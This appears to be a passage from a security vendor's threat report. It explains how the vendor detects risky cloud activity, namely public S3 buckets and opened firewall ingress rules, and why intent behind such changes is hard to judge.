New cloud techniques

As we hinted earlier—and like much of the suspicious identity behavior we’re detecting—our detections for T1530 and T1562.007 straddle the line between overt threats and risks. Let’s start by explaining exactly what we’re detecting for each of these techniques, and then we’ll explore the implicit challenge underlying our detection strategies for these two techniques.

T1530: Data from Cloud Storage
The overwhelming majority of detections associated with this technique involve someone successfully enabling public access for an AWS S3 storage bucket. Exposing S3 buckets to the open internet is a potential misconfiguration issue that’s enabled countless breaches over the last decade. However, it’s also a legitimate functionality of AWS and there are numerous reasons why an engineer or an admin might want to make an S3 bucket public. When you’re running detection at scale across departments or environments that you’re not intimately familiar with, it’s incredibly difficult to ascribe intent to this kind of behavior.

T1562.007: Disable or Modify Cloud Firewall
We are detecting this technique across multiple cloud platforms, but the behavior we’re detecting is fundamentally similar. It involves opening ingress ports (e.g., RDP, SSH, VNC, etc.) to allow connections from external IP addresses or otherwise removing firewall policies or rules in Amazon Web Services (AWS), Azure, or Google Cloud Platform (GCP). Again, allowing connection from any external IP address into your cloud infrastructure is a potentially dangerous misconfiguration (or overtly malicious act) that could lead to serious consequences. However, it’s also a legitimate function of your cloud firewall with legitimate use cases. Intent is once again hard to ascribe from afar, and we are again detecting a risk as opposed to a definite threat.

The challenge
In both cases here, we’re largely detecting behavior that is risky. It’s hard to programmatically confirm whether the behavior is malicious, suspicious, unwanted, or entirely benign. In fact, for both techniques, there’s effectively four things that could be happening:

Again, as was the case with suspicious VPN examples in the Trends section, organizations are forced to choose between detecting high-risk activity along with the benign, or accepting that high level of risk exposure by ignoring this activity altogether. Given the precedence of breaches that have historically resulted from lenient access policies for cloud resources, these are risks that we believe organizations should detect and investigate as much as they are able.

That is why we approach detection from two standpoints:

• First, an atomic approach that detects risky behavior that could be malicious or legitimate admin activity
• Second, a holistic narrative approach that builds several atomic detections together into a threat timeline that describes when activity shifts into a true threat

This tiered approach allows us to make fine-tuned detectors while also enabling enough contextual information for organizations to accurately determine if the behavior is malicious or benign.